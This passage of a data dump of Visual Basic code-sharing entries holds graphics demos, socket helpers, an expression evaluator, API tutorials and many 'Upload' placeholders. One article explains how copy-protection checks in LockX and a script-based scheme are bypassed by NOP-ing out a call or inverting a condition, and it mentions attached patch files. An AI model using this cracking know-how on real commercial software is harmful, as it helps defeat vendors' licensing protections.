3\n' x3 = x0 + cx + bx + ax\n'\n' Y(t) = ay * t ^ 3 + by * t ^ 2 + cy * t + y0\n'\n' Y1 = y0 + cy / 3\n' Y2 = Y1 + (cy + by) / 3\n' y3 = y0 + cy + by + ay\nOption Explicit\nDim HitCounter As Integer\nDim XPoint(3) As Integer, YPoint(3) As Integer\nDim Drag As Boolean\nPrivate Sub DrawBezier()\nDim ax, bx, cx, ay, by, cy, xt, yt, t, I As Integer\nOn Error Resume Next\nMe.Cls\nMe.DrawWidth = 1\n'Draws control lines\nMe.ForeColor = vbBlue\nMe.Line (XPoint(1), YPoint(1))-(XPoint(0), YPoint(0))\nMe.Line (XPoint(2), YPoint(2))-(XPoint(3), YPoint(3))\nMe.ForeColor = vbRed\n'The following is the core of the program.\n' All others are just for dragging.\n cx = 3 * (XPoint(1) - XPoint(0))\n bx = 3 * (XPoint(2) - XPoint(1)) - cx\n ax = XPoint(3) - XPoint(0) - cx - bx\n \n cy = 3 * (YPoint(1) - YPoint(0))\n by = 3 * (YPoint(2) - YPoint(1)) - cy\n ay = YPoint(3) - YPoint(0) - cy - by\nFor t = 0 To 1 Step 0.001\n xt = ax * t ^ 3 + bx * t ^ 2 + cx * t + XPoint(0)\n yt = ay * t ^ 3 + by * t ^ 2 + cy * t + YPoint(0)\n Form1.PSet (xt, yt) 'Draw Lines for a finer curve\nNext t\nMe.ForeColor = vbYellow\nMe.DrawWidth = 4\nFor I = 0 To 3\nMe.PSet (XPoint(I), YPoint(I))\nPrint \" (x\" & I & \", y\" & I & \")\"\nNext I\nEnd Sub\nPrivate Sub Form_Load()\nMe.ScaleMode = vbTwips\nMsgBox \"Put four points and drag them to adjust the\" & _\n \"curve..\", , \"Cubic Bezier Demo\"\nMe.Caption = \"Cubic Bezier by K. O. Thaha Hussain\"\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, _\n Shift As Integer, X As Single, Y As Single)\n If CheckHit(X, Y) And Button = vbLeftButton Then\n XPoint(HitCounter) = X\n YPoint(HitCounter) = Y\n Call DrawBezier\n Drag = True\n Else\n Drag = False\n End If\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, _\n Shift As Integer, X As Single, Y As Single)\nStatic count As Integer\nIf count > 3 Then\n Call DrawBezier\n Exit Sub\nEnd If\nXPoint(count) = X\nYPoint(count) = Y\nIf count = 3 Then Call DrawBezier\ncount = count + 1\nDrag = False\nEnd Sub\nFunction CheckHit(C As Single, V As Single) As Boolean\nDim I As Integer\nIf Drag Then\n CheckHit = True\n Exit Function\nEnd If\n For I = 0 To 3\n 'if the mouse pointer approaches the points..\n If ((Abs(C - XPoint(I)) < 50 And Abs(V - YPoint(I)) < 50)) Then\n Me.MousePointer = vbCrosshair\n CheckHit = True\n HitCounter = I\n Exit Function\n Else\n Me.MousePointer = vbDefault\n CheckHit = False\n End If\n Next I\nEnd Function\n"},{"WorldId":1,"id":22462,"LineNumber":1,"line":"'(C)2001 K. O. Thaha Hussain. India\n' Analyst Programmer\n' All Rights Reserved\n' URL : www.bcity.com/thahahussain\n' Company : www.induswareonline.com\nOption Explicit\nPrivate Sub Form_Load()\nMe.AutoRedraw = True\nMe.ScaleMode = vbTwips\nMe.Caption = \"Rainbow Generator by \" & _\n \"K. O. Thaha Hussain\"\nMsgBox \"Resize the window to resize the Rainbow\", , _\n \"Thaha Hussain's Rainbow Generator\"\nEnd Sub\nPrivate Sub Form_Resize()\nCall Rainbow\nEnd Sub\nPrivate Sub Rainbow()\nOn Error Resume Next\nDim Position As Integer, Red As Integer, Green As _\n Integer, Blue As Integer\nDim ScaleFactor As Double, Length As Integer\nScaleFactor = Me.ScaleWidth / (255 * 6)\nLength = Int(ScaleFactor * 255)\nPosition = 0\nRed = 255\nBlue = 1\n'Purposfully avoided nested loops\n '------------- 1\n For Green = 1 To Length\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green \\ ScaleFactor, Blue)\n Position = Position + 1\n Next Green\n'--------------- 2\nFor Red = Length To 1 Step -1\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red \\ ScaleFactor, Green, Blue)\n Position = Position + 1\n Next Red\n'---------------- 3\nFor Blue = 0 To Length\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green, Blue \\ ScaleFactor)\n Position = Position + 1\n Next Blue\n \n '----------------- 4\nFor Green = Length To 1 Step -1\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green \\ ScaleFactor, Blue)\n Position = Position + 1\n Next Green\n \n '------------------ 5\n For Red = 1 To Length\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red \\ ScaleFactor, Green, Blue)\n Position = Position + 1\n Next Red\n'------------------- 6\nFor Blue = Length To 1 Step -1\n Me.Line (Position, 0)-(Position, Me.ScaleHeight), _\n RGB(Red, Green, Blue \\ ScaleFactor)\n Position = Position + 1\n Next Blue\nEnd Sub\n"},{"WorldId":1,"id":25252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24508,"LineNumber":1,"line":"Sub Command1_Click ()\nRandomize 'makes it random\n 'makes a random number, 1 - 100 in Label1\n Value = Int(100 * Rnd)\n Label1.Caption = Str$(Value)\nEnd Sub"},{"WorldId":1,"id":26670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26170,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25469,"LineNumber":1,"line":"'use GetIPAddress and GetIPHostName\nOption Explicit\nPublic Const MAX_WSADescription = 256\nPublic Const MAX_WSASYSStatus = 128\nPublic Const ERROR_SUCCESS As Long = 0\nPublic Const WS_VERSION_REQD As Long = &H101\nPublic Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \\ &H100 And &HFF&\nPublic Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&\nPublic Const MIN_SOCKETS_REQD As Long = 1\nPublic Const SOCKET_ERROR As Long = -1\nPublic Type HOSTENT\n hName As Long\n hAliases As Long\n hAddrType As Integer\n hLen As Integer\n hAddrList As Long\nEnd Type\nPublic Type WSADATA\n wVersion As Integer\n wHighVersion As Integer\n szDescription(0 To MAX_WSADescription) As Byte\n szSystemStatus(0 To MAX_WSASYSStatus) As Byte\n wMaxSockets As Integer\n wMaxUDPDG As Integer\n dwVendorInfo As Long\nEnd Type\nPublic Declare Function WSAGetLastError Lib \"WSOCK32.DLL\" () As Long\nPublic Declare Function WSAStartup Lib \"WSOCK32.DLL\" _\n(ByVal wVersionRequired As Long, lpWSADATA As WSADATA) As Long\nPublic Declare Function WSACleanup Lib \"WSOCK32.DLL\" () As Long\nPublic Declare Function gethostname Lib \"WSOCK32.DLL\" _\n(ByVal szHost As String, ByVal dwHostLen As Long) As Long\nPublic Declare Function gethostbyname Lib \"WSOCK32.DLL\" _\n(ByVal szHost As String) As Long\nPublic Declare Sub CopyMemory Lib \"kernel32\" Alias \"RtlMoveMemory\" _\n(hpvDest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)\nPublic Function GetIPAddress() As String\nDim sHostName As String * 256\nDim lpHost As Long\nDim HOST As HOSTENT\nDim dwIPAddr As Long\nDim tmpIPAddr() As Byte\nDim i As Integer\nDim sIPAddr As String\nIf Not SocketsInitialize() Then\n GetIPAddress = \"\"\n Exit Function\nEnd If\nIf gethostname(sHostName, 256) = SOCKET_ERROR Then\n GetIPAddress = \"\"\n MsgBox \"Windows Sockets error \" & Str$(WSAGetLastError()) & _\n \" has occurred. Unable to successfully get Host Name.\"\n SocketsCleanup\n Exit Function\nEnd If\nsHostName = Trim$(sHostName)\nlpHost = gethostbyname(sHostName)\nIf lpHost = 0 Then\n GetIPAddress = \"\"\n MsgBox \"Windows Sockets are not responding. \" & _\n \"Unable to successfully get Host Name.\"\n SocketsCleanup\n Exit Function\nEnd If\nCopyMemory HOST, lpHost, Len(HOST)\nCopyMemory dwIPAddr, HOST.hAddrList, 4\nReDim tmpIPAddr(1 To HOST.hLen)\nCopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLen\nFor i = 1 To HOST.hLen\nsIPAddr = sIPAddr & tmpIPAddr(i) & \".\"\nNext\nGetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)\nSocketsCleanup\nEnd Function\nPublic Function GetIPHostName() As String\nDim sHostName As String * 256\nIf Not SocketsInitialize() Then\n GetIPHostName = \"\"\n Exit Function\nEnd If\nIf gethostname(sHostName, 256) = SOCKET_ERROR Then\n GetIPHostName = \"\"\n MsgBox \"Windows Sockets error \" & Str$(WSAGetLastError()) & _\n \" has occurred. Unable to successfully get Host Name.\"\n SocketsCleanup\n Exit Function\nEnd If\nGetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)\nSocketsCleanup\nEnd Function\nPublic Function HiByte(ByVal wParam As Integer)\nHiByte = wParam \\ &H100 And &HFF&\nEnd Function\nPublic Function LoByte(ByVal wParam As Integer)\nLoByte = wParam And &HFF&\nEnd Function\n\nPublic Sub SocketsCleanup()\nIf WSACleanup() <> ERROR_SUCCESS Then\n MsgBox \"Socket error occurred in Cleanup.\"\nEnd If\nEnd Sub\n\nPublic Function SocketsInitialize() As Boolean\nDim WSAD As WSADATA\nDim sLoByte As String\nDim sHiByte As String\nIf WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS Then\n MsgBox \"The 32-bit Windows Socket is not responding.\"\n SocketsInitialize = False\n Exit Function\nEnd If\nIf WSAD.wMaxSockets < MIN_SOCKETS_REQD Then\n MsgBox \"This application requires a minimum of \" & _\n CStr(MIN_SOCKETS_REQD) & \" supported sockets.\"\n SocketsInitialize = False\n Exit Function\nEnd If\nIf LoByte(WSAD.wVersion) < WS_VERSION_MAJOR Or _\n(LoByte(WSAD.wVersion) = WS_VERSION_MAJOR And _\nHiByte(WSAD.wVersion) < WS_VERSION_MINOR) Then\n sHiByte = CStr(HiByte(WSAD.wVersion))\n sLoByte = CStr(LoByte(WSAD.wVersion))\n MsgBox \"Sockets version \" & sLoByte & \".\" & sHiByte & _\n \" is not supported by 32-bit Windows Sockets.\"\n SocketsInitialize = False\n Exit Function\nEnd If\n'must be OK, so lets do it\nSocketsInitialize = True\nEnd Function\n"},{"WorldId":1,"id":23897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22891,"LineNumber":1,"line":"Function Eval(sin As String) As Double\nDim bAreThereBrackets As Boolean\nDim x As Double, y As Double, z As Double\nDim L2R As Integer\nDim sLeft As String, sMid As String, sRight As String\nDim dStack As Double\nDim sPrevOp As String\nDim bInnerFound As Boolean\n sin = IIf(InStr(sin, \" \") > 0, RemoveAllSpaces(sin), sin)\n If InStr(sin, \"(\") Then\n 'work from left to right. find the inner most\n 'brackets and resolve them into the string, eg;\n '(6+7+(6/3)) becomes (6+7+2)\n \n L2R = 1\n While InStr(sin, \"(\") > 0\n 'inner loop\n bInnerFound = False\n Do\n x = InStr(L2R, sin, \"(\")\n y = InStr(x + 1, sin, \"(\")\n z = InStr(x + 1, sin, \")\")\n If y = 0 Then\n L2R = x\n bInnerFound = True\n Else\n If y < z Then\n L2R = y\n Else\n L2R = x\n bInnerFound = True\n End If\n End If\n Loop Until bInnerFound\n x = InStr(L2R, sin, \")\")\n sin = Left(sin, L2R - 1) & CStr(Eval(Mid(sin, L2R + 1, x - L2R - 1))) & Mid(sin, x + 1)\n Debug.Print sin\n \n Wend\n Eval = CDbl(IIf(IsNumeric(sin), sin, Eval(sin)))\n Else\n dStack = 0\n sLeft = \"\"\n sPrevOp = \"\"\n For L2R = 1 To Len(sin)\n If Not IsNumeric(Mid(sin, L2R, 1)) And Mid(sin, L2R, 1) <> \".\" Then\n 'we have an operator\n If dStack = 0 Then\n dStack = CDbl(sLeft)\n Else\n dStack = ASMD(dStack, sLeft, sPrevOp)\n End If\n sLeft = \"\"\n sPrevOp = Mid(sin, L2R, 1)\n Else\n 'carry on extracting the current number\n sLeft = sLeft & Mid(sin, L2R, 1)\n End If\n Next L2R\n If sLeft > \"\" Then\n dStack = ASMD(dStack, sLeft, sPrevOp)\n End If\n Eval = dStack\n End If\nEnd Function\nFunction RemoveAllSpaces(sin As String) As String\nDim x As Integer\n RemoveAllSpaces = \"\"\n For x = 1 To Len(sin)\n If Mid(sin, x, 1) <> \" \" Then\n RemoveAllSpaces = RemoveAllSpaces & Mid(sin, x, 1)\n End If\n Next x\nEnd Function\nFunction ASMD(dIn As Double, sin As String, sOP As String) As Double\n Select Case sOP\n Case \"+\"\n ASMD = dIn + CDbl(sin)\n Case \"-\"\n ASMD = dIn - CDbl(sin)\n Case \"*\"\n ASMD = dIn * CDbl(sin)\n Case \"/\"\n ASMD = dIn / CDbl(sin)\n Case \"^\"\n ASMD = dIn ^ CDbl(sin)\n Case Else\n ASMD = 0\n End Select\nEnd Function"},{"WorldId":1,"id":21763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22373,"LineNumber":1,"line":" If you would like to create a server or other such program, you can initiate many connections over the same port by using this type of function. By creating an index of your Winsock you can create multiple connections over the same port... Create a winsock control and set index to 0. Example of code use: \niSock = FindUserSocket(sckMyWinsock) \nsckMyWinsock(iSock).Accept RequestID\n Function FindUserSocket(sckWinsock As Winsock) As Long \n Dim iSock As Integer \n For iSock = 1 To sckUser.Count - 1 \n If sckWinsock(iSock).State = sckClosed Then \n GoTo SockFound \n End If \n Next iSock \n GoTo MakeSock \n Exit Function \nSockFound: \n FindFreeSocket = CLng(iSock) \n Exit Function \nMakeSock: \n iSock = sckWinsock.Count \n Load sckWinsock(iSock) \n FindFreeSocket = CLng(iSock) \n Exit Function \nEnd Function "},{"WorldId":1,"id":31039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21956,"LineNumber":1,"line":"'Declaring the SendMessage API - To send a Message to other Windows\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPublic Const LB_SETHORIZONTALEXTENT = &H194\n'Set the Horizontal Bar to 2 times its Width\nDim lngReturn As Long\nDim lngExtent As Long\n lngExtent = 2 * (Form1.List1.Width / Screen.TwipsPerPixelX)\n lngReturn = SendMessage(Form1.List1.hWnd, LB_SETHORIZONTALEXTENT, _\n lngExtent, 0&)"},{"WorldId":1,"id":22059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28244,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22217,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29871,"LineNumber":1,"line":"LockX and Copy Protection Scheme - A Challenge \nI have decided to write a small copy protection article, mainly to summarise the previous \nposts and to help me get my mind around the idea, which I will present towards the end of \nthis article. \nFirst lets look at some of the statements made previously, \nI will take LockX first, \nStatements made were - \n* The system is bullet proof \nThis is one of the comments made for the first version, I thought yes great finally \nsomething on the protection side. Before I got the chance to have a look at the code, \nversion 2 came out and its 200 times more secure. \nOne of the Statements made was - \n* LockX 2.0 Software Protection is the ultimate security system \nI finally got some time to check the code, it took me all of 10 minutes to figure out a \nway of bypassing \"the most secure ActiveX control ever \" yep. \nAnd then there was version 3 with the comment \n* LockX 3.0 Software Protection is the ultimate security system (100 times more secure \nthen Version 2.0). \nI spent about 5 minutes on version 3 and it was bypassed, my be the authors comment \nshould have read 100 less secure ? . \nVersion 3.1 was not any better, so we are now at version 3.2. Ok the OCX has been \nremoved, but is it more secure, I don't believe so. \nAttached to this article is a patch file, which will patch a particular LockX protected \napplication. In this case the one I compiled, with this version the author can claim that \nit is 1% more secure than version 3.1 but that is all. \nThe security of any protection product that relies on the following code is cr.p!!! \nIf .AppRegistered Then \n Do something \nElse \n End \nEnd if \nIf the author is as he claims a cracker then I would say that he is not very good if he \ncannot even crack his own software. Any cracker will see the above code and bypass it in \na matter of minutes. \nThat brings me to the second Solution for a protection scheme \"Copy Protection Scheme\" \nthis author has at least thought about protecting software, the supplied code still has \nthe above structure and therefore will not work. But the implementation of the protection \nscheme is sufficiently different to make me believe that he maybe on the right track. \nI have been thinking along similar lines for the last couple of years, but never got \naround some problems. I think Guy Gervais my have just provided a possible solution. \nA possible Solution \nGuy's Solution \nIn Pseudo Code we have the following from Guy's code, \n1 Load security Script into the Script Control \n2 Decrypt the security script \n3 Run the security script \n4 \n5 If Me.Caption = TITLE Then \n6 \"Sorry, key is invalid\" \n7 End \n8 End If \n9 Do Something \nThe above is Guy's code, and that got me thinking if the security code can be placed into \na separate thread to the main program thread, my extension to the above idea is as \nfollows, \nMain Program Thread \n1 Load security Script into the Script Control \n2 Decrypt the security script \n3 Run the security script \n4 \n5 If .IsDemoMode Then \n6 \"You are In Demo Mode\" // no need to end even if the app has been patched \n7 elseif .IsElapsed then \n8 Show Registration Screen \n9 End \n10 End If \n{the above block takes care of honest users, and at this stage we still don't care if we \nhave been cracked so just keep loading the program} \n11 Do Something \n{now anywhere in the program we do the following, form load or form activate, etc.) \n12 Start Security Thread // Sprinkled through out the program \n13 Do Something Else \n \nSecurity Thread \n1 Load security Script into the Script Control \n2 Decrypt the security script \n3 Run the security script \n4 Sleep for a random time A minutes/Hours \n5 If .IsElapsed or .IsPatched or isTimeSetBack then \n {this block will know if the App has been patched,Time set back, or has just elapsed.} \n6 End Main Program Thread \n7 End Random Timer Thread \n8 End Security Thread \n9 {don't show that we are not registered just stop the program} \n10 End If \n12 End Security Thread \n \nAfter all of this Blurb, I come back to the same conclusion we cannot protect a program \nfrom being copied, all we can do is make it hard for the attacker. \nIn the above example if the attacker finds all of the 'Start Security Thread' references and NOP's them out then the protection is bypassed. \nI have just gone through Guy's code again and it suffers from the same problems as I have \nhad with the above idea. All the attacker needs to do is to NOP out the \n'script.ExecuteStatement sCode' line and the program will never get checked. \nThe only other change that needs to be made is, \nIf Me.Caption = TITLE Then -- changed to -- If Me.Caption <> TITLE Then \nAnd the program is useable, no need to worry about registration files, or key. \nI have included a compiled patch file to prove the point. With a bit of assembler \nknowledge the above is not difficult to do. \nI will still upload this, someone may find it useful and have some more ideas. I hope \nthat this article spurs on some more discussion in this area. \n \nTombr... \n \n"},{"WorldId":1,"id":32175,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34295,"LineNumber":1,"line":"' Initialize session and set database\n n_Session.Initialize\n \n ' Set database\n Set n_Database = n_Session.GetDatabase(\"Your Server Name\", \"YourFileLocation\\YourFile.nsf\")\n \n ' Set to view\n Set n_View = n_Database.GetView(\"NameOfYourView\")\n ' Set view navigator\n Set n_ViewNav = n_View.CreateViewNav\n ' Move to first record\n Set n_ViewEntry = n_ViewNav.GetFirstDocument()\n \n ' Loop through records within view\n Do While Not (n_ViewEntry Is Nothing)\n \n ' Set view to document\n Set n_Document = n_ViewEntry.Document\n \n ' Set local variables\n l_TestVariable = n_Document.GetItemValue(\"TestFieldName\")(0)\n \n ' Get next entry\n Set n_ViewEntry = n_ViewNav.GetNextDocument(n_ViewEntry)\n \n Loop\n \n ' Clean-up\n Set n_ViewEntry = Nothing\n Set n_ViewNav = Nothing\n Set n_View = Nothing\n Set n_Document = Nothing\n Set n_Database = Nothing\n Set n_Session = Nothing"},{"WorldId":1,"id":34273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26254,"LineNumber":1,"line":"Private Sub Form_Unload(Cancel As Integer)\nOn Error Resume Next\nMe.WindowState = 0\nDo\nMe.Top = Me.Top + 10 \nMe.Left = Me.Left + 10 \nMe.Width = Me.Width - 20 \nMe.Height = Me.Height - 20 \nLoop Until Me.Top => Screen.Height\n'you can change those numbers to make it faster\n'or slower. right now it is pretty slow.\n'if the height and width #'s are twice as much\n'as the top and left #'s, it will make a\n' \"zooming out\" effect and then will fall to the\n'bottom of the screen.\nEnd Sub"},{"WorldId":1,"id":26270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23530,"LineNumber":1,"line":"' Name : Clear all recent documents\n' By : Rudy Alex Kohn\n' [rudyalexkohn@hotmail.com]\nPublic Function ClearRecent()\n ' Clear the 'Recent Document' list\n ' Returns 0 if successfull\n ClearRecent = SHAddToRecentDocs(0, 0)\nEnd Function\nSub Main()\n If MsgBox(\"This will clean the 'Recent Documents', proceed?\", 68, \"Clear Recent Documents List\") = 7 Then End\n If ClearRecent <> 0 Then MsgBox \"Error..\"\nEnd Sub\n"},{"WorldId":1,"id":23531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32384,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22378,"LineNumber":1,"line":"If you think that the most accurate interval you can get is 1 ms, think again.\n This article shows you how you can wait a very short time.\n\nHow short, well, on my PC (500mHz,128MB) i got an average of 0.0078 ms!\n The trick is to make use of a high frequency performance counter wich nowaday\nalmost all computers have.\n\nTo do this, you must make use of the QueryPerformanceCount API (QPC). This give you a number.\n This number is the current count of the timer. When you use the QueryPerformanceFrequency (QPF) API, you will get the number of times that the timer counts per second.\n Using that value, you can determin how much time has expired.\n\nExample: if your frequency = 1.000.000 and the difference between 2 calls of the QPC is 1.000, you know that the time elapsed is 1.000 / 1.000.000 = 0.001 seconds.\n\nThe example included (see zip) also show that the GetTickCount API isn't as fast as you may think. I got a accuricy of +/- 10 ms\n\nAfter this, you will never want to use gettickcount again"},{"WorldId":1,"id":22340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22627,"LineNumber":1,"line":" \n \n \n\n \n On the 8th day, he \ncreated win32 api, and saw it was good. ~Holy Bible, book of Cakkie, \nchapter 1, vers 8 \n\nSo we all know that we have API's, know we just need to know how to use \nthem.\nI'm going to explain the region API's wich can give us the power to reshape \nevery window, or everything that has a window handle (like a picturebox).\n- In the beginning there was nothing, as far as the eye can see, nothing, \nnada, njet, rien, niets, nothing. - Sir, really nothing? ~Urbanus\nLets start with the begin. When we want to create regions, we have a variety \nof API's to use. The most important are CreateRectRgn: creates \na rectangular region CreateRoundRectRgn: creates a rounded \nrectangular region CreateEllipticRgn: creates a elliptical \nregion CreatePolygonRgn: create a region from an array of \npoints\nThe first 3 (Rect, RoundRect and Elliptic) all take the same parameters. \nThe first 2 are the X and Y coordinates specifying the upper-left corner of the \nregion, the next 2 are the X and Y coordinates specifying the lower-right \ncorner or the region.\nThe CreatePolygonRgn takes following parameters The first is the \npointer to an array of the type POINTAPI The second is the number of points \nin that array The last is the fillmode, which can be obtained by the \nGetFillMode API\nOnce we created a region, we can use that to shape our form (or picturebox or \nwhatever, I'm only using forms here for breverity's sake) This is done by the \nSetWindowRgn API, which takes the form's hWnd, the region and a boolean \nspecifying the form needs to be repainted. Once that is done, the form \nhas the shape defined by the region.\n- Is this the end? - No, it is just the beginning ~Arnold \nSwarzenegger\nNow we can have a form of almost any shape, but it doesn't end here. We can \nalso combine regions, what gives us the possibility to create even complexer \nregions. This is done with the CombineRgn API. This function takes 4 parameters, \nthe first is the region wich will receive the result of the combine operation. \nThe second is the first region that needs to be combined, the third is the \nsecond region to combine. The last parameter is the method we want to use to \ncombine. That can be one of the following: RGN_AND = 1 : \ngives the region which is both in the first and the second \nregion RGN_COPY = 5 : copies the first \nregion RGN_DIFF = 4 : gives the regions which are in region1 \nbut not in region2 RGN_OR = 2 : gives the regions which are \nin region1 or in region2 RGN_XOR = 3 ; gives the regions \nwhich are in region1 or in region2, but not in both\nYou must keep in mind that the receiving region already exists (by using the \nCreateRectRgn for example).\nYou can also combine regions by using the CreatePolyPolygonRgn \nfunction, which creates a region existing out several Polygon regions. \nThis way you can combine several Polygonregions in one call. However, I like \nusing the CombineRgn because it's simplicity.\nThis isn't Mission Difficult, this is Mission Impossible, Mission \nDifficult should be a walk in the park for you ~Gene Hackman\nWith this tutorial are 3 examples. \nThe region example shows the general use of the api's \ndescribed above. Just click one of the buttons and look what happens to \nthe form.\nThe 8ball example is a simple 'Magic 8 Ball' program, wich \nreally looks like an 8 ball. It also shows how to move a form when the titlebar \nisn't visible. In order to get it working, you must shake the ball (that is move \nthe form around for a couple of seconds)\nThe Bill example is my favorite. It creates a region from a \nbitmap. It gives a background color (in this case green) which will be left out \nof the region. This way, you can get a form that is so odd-shaped it would take \nhours to code it yourself. This also supports moving the form (which has no \nborder) and makes the form topmost. You will find out why I called it Bill the \nsecond you run it.\nWhat has become of this world? ~Beatrix (Final Fantasy IX)\n "},{"WorldId":1,"id":22739,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31374,"LineNumber":1,"line":"If you ask someone the question \"How to change the text of the buttons in a messagebox\", the result would probably be that 99 times out of 100 you get the answer \"I don't think that can be done\". The other 1 time you probably asked me (or someone like me) and got the answer \"Simple, just hook it\".\nSo how do you hook it? Simple, it only takes a few lines.\nThe hook will need to know a few things, first of all, where is the hook coming from? We can get that by making a call to GetWindowLong API function, specifying that we need the instance of our window.\nAnother thing it needs to 